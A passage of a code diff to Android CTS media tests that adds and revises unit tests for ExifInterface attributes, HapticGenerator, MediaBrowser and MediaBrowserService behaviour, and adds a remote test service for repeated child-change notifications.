+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -1200,7 +1200,6 @@
             // This theme is required to prevent an extra view from obscuring the presentation
             super(outerContext, display,
                     android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
-            getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
             getWindow().addFlags(WindowManager.LayoutParams.FLAG_LOCAL_FOCUS_MODE);
             getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
         }
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index ac825fa..c67222e 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -16,6 +16,8 @@
 
 package android.media.cts;
 
+import static android.media.ExifInterface.TAG_SUBJECT_AREA;
+
 import android.content.res.TypedArray;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
@@ -37,10 +39,8 @@
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.io.OutputStream;
 import java.nio.charset.StandardCharsets;
 
 @NonMediaMainlineTest
@@ -300,6 +300,8 @@
         } else {
             assertNull(exifInterface.getThumbnailRange());
             assertNull(exifInterface.getThumbnail());
+            assertNull(exifInterface.getThumbnailBitmap());
+            assertFalse(exifInterface.isThumbnailCompressed());
         }
 
         // Checks GPS information.
@@ -603,15 +605,15 @@
     }
 
     private void testThumbnail(ExpectedValue expectedValue, ExifInterface exifInterface) {
-        byte[] thumbnail = exifInterface.getThumbnailBytes();
-        // TODO: Add support for testing validity of uncompressed thumbnails
-        if (expectedValue.isThumbnailCompressed) {
-            Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnail, 0,
-                    thumbnail.length);
-            assertNotNull(thumbnailBitmap);
-            assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
-            assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
-        }
+        byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
+        assertNotNull(thumbnailBytes);
+
+        // Note: NEF file (nikon_1aw1.nef) contains uncompressed thumbnail.
+        Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
+        assertNotNull(thumbnailBitmap);
+        assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+        assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+        assertEquals(expectedValue.isThumbnailCompressed, exifInterface.isThumbnailCompressed());
     }
 
     @Override
@@ -697,13 +699,6 @@
         readFromFilesWithExif(SRW_SAMSUNG_NX3000, R.array.samsung_nx3000_srw);
     }
 
-    public void testStandaloneDataForRead() throws Throwable {
-        readFromStandaloneDataWithExif(JPEG_WITH_EXIF_BYTE_ORDER_II,
-                R.array.standalone_data_with_exif_byte_order_ii);
-        readFromStandaloneDataWithExif(JPEG_WITH_EXIF_BYTE_ORDER_MM,
-                R.array.standalone_data_with_exif_byte_order_mm);
-    }
-
     public void testPngFiles() throws Throwable {
         readFromFilesWithExif(PNG_WITH_EXIF_BYTE_ORDER_II, R.array.png_with_exif_byte_order_ii);
         writeToFilesWithoutExif(PNG_WITHOUT_EXIF);
@@ -724,7 +719,7 @@
         writeToFilesWithoutExif(WEBP_WITHOUT_EXIF_WITH_LOSSLESS_ENCODING);
     }
 
-    public void testGetSetDateTime() throws IOException {
+    public void testGetSetDateTime() throws Throwable {
         final long expectedDatetimeValue = 1454059947000L;
         final String dateTimeValue = "2017:02:02 22:22:22";
         final String dateTimeOriginalValue = "2017:01:01 11:11:11";
@@ -757,6 +752,191 @@
         imageFile.delete();
     }
 
+    public void testIsSupportedMimeType() {
+        try {
+            ExifInterface.isSupportedMimeType(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertTrue(ExifInterface.isSupportedMimeType("image/jpeg"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-adobe-dng"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-canon-cr2"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-nikon-nef"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-nikon-nrw"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-sony-arw"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-panasonic-rw2"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-olympus-orf"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-pentax-pef"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-samsung-srw"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-fuji-raf"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/heic"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/heif"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/png"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/webp"));
+        assertFalse(ExifInterface.isSupportedMimeType("image/gif"));
+    }
+
+    public void testSetAttribute() throws Throwable {
+        File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
+        File imageFile = clone(srcFile);
+
+        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+        try {
+            exif.setAttribute(null, null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+
+        // Test setting tag to null
+        assertNotNull(exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, null);
+        assertNull(exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+
+        // Test tags that are converted to rational values for compatibility:
+        // 1. GpsTimeStamp tag will be converted to rational in setAttribute and converted back to
+        // timestamp format in getAttribute.
+        String validGpsTimeStamp = "11:11:11";
+        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, validGpsTimeStamp);
+        assertEquals(validGpsTimeStamp, exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+        // Check that invalid format is not set
+        String invalidGpsTimeStamp = "11:11:11:11";
+        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, invalidGpsTimeStamp);
+        assertEquals(validGpsTimeStamp, exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+
+        // 2. FNumber tag will be converted to rational in setAttribute and converted back to
+        // double value in getAttribute
+        String validFNumber = "2.4";
+        exif.setAttribute(ExifInterface.TAG_F_NUMBER, validFNumber);
+        assertEquals(validFNumber, exif.getAttribute(ExifInterface.TAG_F_NUMBER));
+        // Check that invalid format is not set
+        String invalidFNumber = "invalid format";
+        exif.setAttribute(ExifInterface.TAG_F_NUMBER, invalidFNumber);
+        assertEquals(validFNumber, exif.getAttribute(ExifInterface.TAG_F_NUMBER));
+
+        // Test writing different types of formats:
+        // 1. Byte format tag
+        String gpsVersionId = "2.3.0.0";
+        exif.setAttribute(ExifInterface.TAG_GPS_VERSION_ID, gpsVersionId);
+        byte[] setGpsVersionIdBytes =
+                exif.getAttribute(ExifInterface.TAG_GPS_VERSION_ID).getBytes();
+        for (int i = 0; i < setGpsVersionIdBytes.length; i++) {
+            assertEquals(gpsVersionId.getBytes()[i], setGpsVersionIdBytes[i]);
+        }
+        // Test TAG_GPS_ALTITUDE_REF, which is an exceptional case since the only valid values are
+        // "0" and "1".
+        String gpsAltitudeRef = "1";
+        exif.setAttribute(ExifInterface.TAG_GPS_ALTITUDE_REF, gpsAltitudeRef);
+        assertEquals(gpsAltitudeRef.getBytes()[0],
+                exif.getAttribute(ExifInterface.TAG_GPS_ALTITUDE_REF).getBytes()[0]);
+
+        // 2. String format tag
+        String makeValue = "MakeTest";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValue);
+        assertEquals(makeValue, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Check that the following values are not parsed as rational values
+        String makeValueWithOneSlash = "Make/Test";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithOneSlash);
+        assertEquals(makeValueWithOneSlash, exif.getAttribute(ExifInterface.TAG_MAKE));
+        String makeValueWithTwoSlashes = "Make/Test/Test";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithTwoSlashes);
+        assertEquals(makeValueWithTwoSlashes, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // When a value has a comma, it should be parsed as a string if any of the values before or
+        // after the comma is a string.
+        int defaultValue = -1;
+        String makeValueWithCommaType1 = "Make,2";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType1);
+        assertEquals(makeValueWithCommaType1, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Make sure that it's not stored as an integer value.
+        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
+        String makeValueWithCommaType2 = "2,Make";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType2);
+        assertEquals(makeValueWithCommaType2, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Make sure that it's not stored as an integer value.
+        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
+
+        // 3. Unsigned short format tag
+        String isoSpeedRatings = "800";
+        exif.setAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS, isoSpeedRatings);
+        assertEquals(isoSpeedRatings, exif.getAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS));
+        // When a value has multiple components, all of them should be of the format that the tag
+        // supports. Thus, the following values (SHORT,LONG) should not be set since TAG_COMPRESSION
+        // only allows short values.
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+        String invalidMultipleComponentsValueType1 = "1,65536";
+        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType1);
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+        String invalidMultipleComponentsValueType2 = "65536,1";
+        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType2);
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+
+        // 4. Unsigned long format tag
+        String validImageWidthValue = "65536"; // max unsigned short value + 1
+        exif.setAttribute(ExifInterface.TAG_IMAGE_WIDTH, validImageWidthValue);
+        assertEquals(validImageWidthValue, exif.getAttribute(ExifInterface.TAG_IMAGE_WIDTH));
+        String invalidImageWidthValue = "-65536";
+        exif.setAttribute(ExifInterface.TAG_IMAGE_WIDTH, invalidImageWidthValue);
+        assertEquals(validImageWidthValue, exif.getAttribute(ExifInterface.TAG_IMAGE_WIDTH));
+
+        // 5. Unsigned rational format tag
+        String exposureTime = "1/8";
+        exif.setAttribute(ExifInterface.TAG_APERTURE_VALUE, exposureTime);
+        assertEquals(exposureTime, exif.getAttribute(ExifInterface.TAG_APERTURE_VALUE));
+
+        // 6. Signed rational format tag
+        String brightnessValue = "-220/100";
+        exif.setAttribute(ExifInterface.TAG_BRIGHTNESS_VALUE, brightnessValue);
+        assertEquals(brightnessValue, exif.getAttribute(ExifInterface.TAG_BRIGHTNESS_VALUE));
+
+        // 7. Undefined format tag
+        String userComment = "UserCommentTest";
+        exif.setAttribute(ExifInterface.TAG_USER_COMMENT, userComment);
+        assertEquals(userComment, exif.getAttribute(ExifInterface.TAG_USER_COMMENT));
+
+        imageFile.delete();
+    }
+
+    public void testGetAttributeForNullAndNonExistentTag() throws Throwable {
+        // JPEG_WITH_EXIF_BYTE_ORDER_MM does not have a value for TAG_SUBJECT_AREA tag.
+        File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
+        File imageFile = clone(srcFile);
+
+        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+        try {
+            exif.getAttribute(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertNull(exif.getAttribute(TAG_SUBJECT_AREA));
+
+        int defaultValue = -1;
+        try {
+            exif.getAttributeInt(null, defaultValue);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+        try {
+            exif.getAttributeDouble(null, defaultValue);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+        try {
+            exif.getAttributeBytes(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertNull(exif.getAttributeBytes(TAG_SUBJECT_AREA));
+    }
+
     private static File clone(File original) throws IOException {
         final File cloned =
                 File.createTempFile("cts_", +System.nanoTime() + "_" + original.getName());
diff --git a/tests/tests/media/src/android/media/cts/HapticGeneratorTest.java b/tests/tests/media/src/android/media/cts/HapticGeneratorTest.java
new file mode 100644
index 0000000..2b82dc2
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/HapticGeneratorTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.AudioManager;
+import android.media.audiofx.HapticGenerator;
+
+@NonMediaMainlineTest
+public class HapticGeneratorTest extends PostProcTestBase {
+
+    private String TAG = "HapticGeneratorTest";
+
+    //-----------------------------------------------------------------
+    // HAPTIC GENERATOR TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        if (!HapticGenerator.isAvailable()) {
+            // HapticGenerator will only be created on devices supporting haptic playback
+            return;
+        }
+        HapticGenerator effect = createHapticGenerator();
+        // If the effect is null, it must fail creation.
+        effect.release();
+    }
+
+    // Test case 0.1: test constructor and close
+    public void test0_1ConstructorAndClose() throws Exception {
+        if (!HapticGenerator.isAvailable()) {
+            // HapticGenerator will only be created on devices supporting haptic playback
+            return;
+        }
+        HapticGenerator effect = createHapticGenerator();
+        // If the effect is null, it must fail creation.
+        effect.close();
+    }
+
+    //-----------------------------------------------------------------
+    // 1 - Effect enable/disable
+    //----------------------------------
+
+    //Test case 1.0: test setEnabled() and getEnabled() in valid state
+    public void test1_0SetEnabledGetEnabled() throws Exception {
+        if (!HapticGenerator.isAvailable()) {
+            // HapticGenerator will only be created on devices supporting haptic playback
+            return;
+        }
+        HapticGenerator effect = createHapticGenerator();
+        try {
+            effect.setEnabled(true);
+            assertTrue("invalid state from getEnabled", effect.getEnabled());
+            effect.setEnabled(false);
+            assertFalse("invalid state from getEnabled", effect.getEnabled());
+            // test passed
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            effect.release();
+        }
+    }
+
+    private HapticGenerator createHapticGenerator() {
+        try {
+            HapticGenerator effect = HapticGenerator.create(getSessionId());
+            try {
+                assertTrue("invalid effect ID", (effect.getId() != 0));
+            } catch (IllegalStateException e) {
+                fail("HapticGenerator not initialized");
+            }
+            return effect;
+        } catch (IllegalArgumentException e) {
+            fail("HapticGenerator not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } catch (RuntimeException e) {
+            fail("Unexpected run time error: " + e);
+        }
+        return null;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
index 6e6658b..8cbe255 100644
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
@@ -33,6 +33,7 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.SystemClock;
+import android.util.Log;
 import android.view.KeyEvent;
 
 import androidx.test.InstrumentationRegistry;
@@ -55,7 +56,7 @@
 import java.util.concurrent.TimeUnit;
 
 /**
- * Test media activity which has called {@link Activity#setMediaController}.
+ * Test {@link MediaSessionTestActivity} which has called {@link Activity#setMediaController}.
  */
 @NonMediaMainlineTest
 @LargeTest
@@ -140,7 +141,13 @@
 
         for (int stream : mStreamVolumeMap.keySet()) {
             int volume = mStreamVolumeMap.get(stream);
-            mAudioManager.setStreamVolume(stream, volume, 0);
+            try {
+                mAudioManager.setStreamVolume(stream, volume, /* flag= */ 0);
+            } catch (SecurityException e) {
+                Log.w(TAG, "Failed to restore volume. The test probably had changed DnD mode"
+                        + ", stream=" + stream + ", originalVolume="
+                        + volume + ", currentVolume=" + mAudioManager.getStreamVolume(stream));
+            }
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
index e7ef364..0e23ebf 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
@@ -15,9 +15,18 @@
  */
 package android.media.cts;
 
+import static android.media.browse.MediaBrowser.MediaItem.FLAG_PLAYABLE;
+import static android.media.cts.MediaBrowserServiceTestService.KEY_PARENT_MEDIA_ID;
+import static android.media.cts.MediaBrowserServiceTestService.KEY_SERVICE_COMPONENT_NAME;
+import static android.media.cts.MediaBrowserServiceTestService.TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED;
+import static android.media.cts.MediaSessionTestService.KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS;
+import static android.media.cts.MediaSessionTestService.STEP_CHECK;
+import static android.media.cts.MediaSessionTestService.STEP_CLEAN_UP;
+import static android.media.cts.MediaSessionTestService.STEP_SET_UP;
 import static android.media.cts.Utils.compareRemoteUserInfo;
 
 import android.content.ComponentName;
+import android.media.MediaDescription;
 import android.media.browse.MediaBrowser;
 import android.media.browse.MediaBrowser.MediaItem;
 import android.media.session.MediaSessionManager.RemoteUserInfo;
@@ -27,6 +36,9 @@
 import android.service.media.MediaBrowserService.BrowserRoot;
 import android.test.InstrumentationTestCase;
 
+import androidx.test.core.app.ApplicationProvider;
+
+import java.util.ArrayList;
 import java.util.List;
 
 /**
@@ -102,7 +114,7 @@
     private Bundle mRootHints;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         getInstrumentation().runOnMainSync(new Runnable() {
             @Override
             public void run() {
@@ -125,6 +137,14 @@
         assertNotNull(mMediaBrowserService);
     }
 
+    @Override
+    public void tearDown() {
+        if (mMediaBrowser != null) {
+            mMediaBrowser.disconnect();
+            mMediaBrowser = null;
+        }
+    }
+
     public void testGetSessionToken() {
         assertEquals(StubMediaBrowserService.sSession.getSessionToken(),
                 mMediaBrowserService.getSessionToken());
@@ -143,6 +163,16 @@
         }
     }
 
+    public void testNotifyChildrenChangedWithNullOptionsThrowsIAE() {
+        try {
+            mMediaBrowserService.notifyChildrenChanged(
+                    StubMediaBrowserService.MEDIA_ID_ROOT, /*options=*/ null);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
     public void testNotifyChildrenChangedWithPagination() throws Exception {
         synchronized (mWaitLock) {
             final int pageSize = 5;
@@ -160,6 +190,28 @@
             mMediaBrowserService.notifyChildrenChanged(StubMediaBrowserService.MEDIA_ID_ROOT);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mOnChildrenLoadedWithOptions);
+
+            // Notify that the items overlapping with the given options are changed.
+            mOnChildrenLoadedWithOptions = false;
+            final int newPageSize = 3;
+            final int overlappingNewPage = pageSize * page / newPageSize;
+            Bundle overlappingOptions = new Bundle();
+            overlappingOptions.putInt(MediaBrowser.EXTRA_PAGE_SIZE, newPageSize);
+            overlappingOptions.putInt(MediaBrowser.EXTRA_PAGE, overlappingNewPage);
+            mMediaBrowserService.notifyChildrenChanged(
+                    StubMediaBrowserService.MEDIA_ID_ROOT, overlappingOptions);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mOnChildrenLoadedWithOptions);
+
+            // Notify that the items non-overlapping with the given options are changed.
+            mOnChildrenLoadedWithOptions = false;
+            Bundle nonOverlappingOptions = new Bundle();
+            nonOverlappingOptions.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+            nonOverlappingOptions.putInt(MediaBrowser.EXTRA_PAGE, page + 1);
+            mMediaBrowserService.notifyChildrenChanged(
+                    StubMediaBrowserService.MEDIA_ID_ROOT, nonOverlappingOptions);
+            mWaitLock.wait(WAIT_TIME_FOR_NO_RESPONSE_MS);
+            assertFalse(mOnChildrenLoadedWithOptions);
         }
     }
 
@@ -232,6 +284,41 @@
         assertEquals(val, browserRoot.getExtras().getString(key));
     }
 
+    /**
+     * Check that a series of {@link MediaBrowserService#notifyChildrenChanged} does not break
+     * {@link MediaBrowser} on the remote process due to binder buffer overflow.
+     */
+    public void testSeriesOfNotifyChildrenChanged() throws Exception {
+        String parentMediaId = "testSeriesOfNotifyChildrenChanged";
+        int numberOfCalls = 100;
+        int childrenSize = 1_000;
+        List<MediaItem> children = new ArrayList<>();
+        for (int id = 0; id < childrenSize; id++) {
+            MediaDescription description = new MediaDescription.Builder()
+                    .setMediaId(Integer.toString(id)).build();
+            children.add(new MediaItem(description, FLAG_PLAYABLE));
+        }
+        mMediaBrowserService.putChildrenToMap(parentMediaId, children);
+
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(
+                ApplicationProvider.getApplicationContext(),
+                MediaBrowserServiceTestService.class,
+                TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SERVICE_COMPONENT_NAME, TEST_BROWSER_SERVICE);
+            args.putString(KEY_PARENT_MEDIA_ID, parentMediaId);
+            args.putInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS, numberOfCalls * childrenSize);
+            invoker.run(STEP_SET_UP, args);
+            for (int i = 0; i < numberOfCalls; i++) {
+                mMediaBrowserService.notifyChildrenChanged(parentMediaId);
+            }
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+
+        mMediaBrowserService.removeChildrenFromMap(parentMediaId);
+    }
+
     private void assertRootHints(MediaItem item) {
         Bundle rootHints = item.getDescription().getExtras();
         assertNotNull(rootHints);
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTestService.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTestService.java
new file mode 100644
index 0000000..0db43d9
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTestService.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.annotation.Nullable;
+import android.content.ComponentName;
+import android.media.browse.MediaBrowser;
+import android.media.browse.MediaBrowser.MediaItem;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class MediaBrowserServiceTestService extends RemoteService {
+    public static final int TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED = 0;
+
+    public static final int STEP_SET_UP = 0;
+    public static final int STEP_CHECK = 1;
+    public static final int STEP_CLEAN_UP = 2;
+
+    public static final String KEY_SERVICE_COMPONENT_NAME = "serviceComponentName";
+    public static final String KEY_PARENT_MEDIA_ID = "parentMediaId";
+    public static final String KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS = "expectedTotalNumberOfItems";
+
+    private final Handler mMainHandler = new Handler(Looper.getMainLooper());
+    private MediaBrowser mMediaBrowser;
+    private CountDownLatch mAllItemsNotified;
+
+    private void testSeriesOfNotifyChildrenChanged_setUp(Bundle args) throws Exception {
+        ComponentName componentName = args.getParcelable(KEY_SERVICE_COMPONENT_NAME);
+        String parentMediaId = args.getString(KEY_PARENT_MEDIA_ID);
+        int expectedTotalNumberOfItems = args.getInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS);
+
+        mAllItemsNotified = new CountDownLatch(1);
+        AtomicInteger numberOfItems = new AtomicInteger();
+        CountDownLatch subscribed = new CountDownLatch(1);
+        MediaBrowser.ConnectionCallback connectionCallback = new MediaBrowser.ConnectionCallback();
+        MediaBrowser.SubscriptionCallback subscriptionCallback =
+                new MediaBrowser.SubscriptionCallback() {
+                    @Override
+                    public void onChildrenLoaded(String parentId, List<MediaItem> children) {
+                        if (parentMediaId.equals(parentId) && children != null) {
+                            if (subscribed.getCount() > 0) {
+                                subscribed.countDown();
+                                return;
+                            }
+                            if (numberOfItems.addAndGet(children.size())
+                                    >= expectedTotalNumberOfItems) {
+                                mAllItemsNotified.countDown();
+                            }
+                        }
+                    }
+                };
+        mMainHandler.post(() -> {
+            mMediaBrowser = new MediaBrowser(this, componentName, connectionCallback, null);
+            mMediaBrowser.connect();
+            mMediaBrowser.subscribe(parentMediaId, subscriptionCallback);
+        });
+        assertTrue(subscribed.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSeriesOfNotifyChildrenChanged_check() throws Exception {
+        assertTrue(mAllItemsNotified.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSeriesOfNotifyChildrenChanged_cleanUp() {
+        mMainHandler.post(() -> {
+            mMediaBrowser.disconnect();
+            mMediaBrowser = null;
+        });
+        mAllItemsNotified = null;
+    }
+
+    @Override
+    public void onRun(int testId, int step, @Nullable Bundle args) throws Exception {
+        if (testId == TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED) {
+            if (step == STEP_SET_UP) {
+                testSeriesOfNotifyChildrenChanged_setUp(args);
+            } else if (step == STEP_CHECK) {
+                testSeriesOfNotifyChildrenChanged_check();
+            } else if (step == STEP_CLEAN_UP) {
+                testSeriesOfNotifyChildrenChanged_cleanUp();
+            } else {
+                throw new IllegalArgumentException("Unknown step=" + step);
+            }
+        } else {
+            throw new IllegalArgumentException("Unknown testId=" + testId);
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index 8c7d63d..fc832fb 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -54,6 +54,14 @@
 
     private MediaBrowser mMediaBrowser;
 
+    @Override
+    public void tearDown() {
+        if (mMediaBrowser != null) {
+            mMediaBrowser.disconnect();
+            mMediaBrowser = null;
+        }
+    }
+
     public void testMediaBrowser() {
         resetCallbacks();
         createMediaBrowser(TEST_BROWSER_SERVICE);
@@ -78,6 +86,40 @@
         }.run();
     }
 
+    public void testThrowingISEWhileNotConnected() {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        assertEquals(false, mMediaBrowser.isConnected());
+
+        try {
+            mMediaBrowser.getExtras();
+            fail();
+        } catch (IllegalStateException e) {
+            // Expected
+        }
+
+        try {
+            mMediaBrowser.getRoot();
+            fail();
+        } catch (IllegalStateException e) {
+            // Expected
+        }
+
+        try {
+            mMediaBrowser.getServiceComponent();
+            fail();
+        } catch (IllegalStateException e) {
+            // Expected
+        }
+
+        try {
+            mMediaBrowser.getSessionToken();
+            fail();
+        } catch (IllegalStateException e) {
+            // Expected
+        }
+    }
+
     public void testConnectTwice() {
         resetCallbacks();
         createMediaBrowser(TEST_BROWSER_SERVICE);
@@ -165,17 +207,6 @@
         assertEquals(0, mConnectionCallback.mConnectionSuspendedCount);
     }
 
-    public void testGetServiceComponentBeforeConnection() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        try {
-            ComponentName serviceComponent = mMediaBrowser.getServiceComponent();
-            fail();
-        } catch (IllegalStateException e) {
-            // expected
-        }
-    }
-
     public void testSubscribe() {
         resetCallbacks();
         createMediaBrowser(TEST_BROWSER_SERVICE);
@@ -212,6 +243,43 @@
         assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
     }
 
+    public void testSubscribeWithIllegalArguments() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        try {
+            final String nullMediaId = null;
+            mMediaBrowser.subscribe(nullMediaId, mSubscriptionCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final String emptyMediaId = "";
+            mMediaBrowser.subscribe(emptyMediaId, mSubscriptionCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final MediaBrowser.SubscriptionCallback nullCallback = null;
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullCallback);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            final Bundle nullOptions = null;
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullOptions,
+                    mSubscriptionCallback);
+            fail();
